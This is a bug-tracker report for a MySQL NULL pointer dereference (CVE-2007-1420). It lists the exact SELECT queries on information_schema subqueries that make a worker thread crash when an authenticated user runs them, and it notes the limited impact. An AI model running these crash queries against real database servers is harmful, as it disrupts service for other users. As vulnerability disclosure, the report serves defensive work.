Bug 232603 (CVE-2007-1420)

Description of problem:

A NULL pointer dereference occurs after issuing the SELECT statements
below. Security impact is very limited, as only one worker crashes, leaving
the server running and ready for service. Additionally, an attacker must be
authenticated and permitted to execute arbitrary SELECT statements.

Version-Release number of selected component (if applicable):

Does not affect MySQL 4.

How reproducible:

Always, by an authenticated user.

Steps to Reproduce:

SELECT ASCII((SELECT table_name FROM information_schema.columns ORDER BY 1));
SELECT TRIM(LEADING FROM (SELECT table_name FROM information_schema.columns
ORDER BY 1));
SELECT SUBSTR((SELECT table_name FROM information_schema.tables ORDER BY 1),1,1);
SELECT UPPER((SELECT table_name FROM information_schema.tables ORDER BY 1));
SELECT RTRIM((SELECT table_name FROM information_schema.tables ORDER BY 1));
SELECT RPAD((SELECT table_name FROM information_schema.tables ORDER BY 1),1,'lol')
  
Actual results:

The session closes prematurely, fault message in the log file.

Expected results:

I expected it to crash. I like this section of a bug report.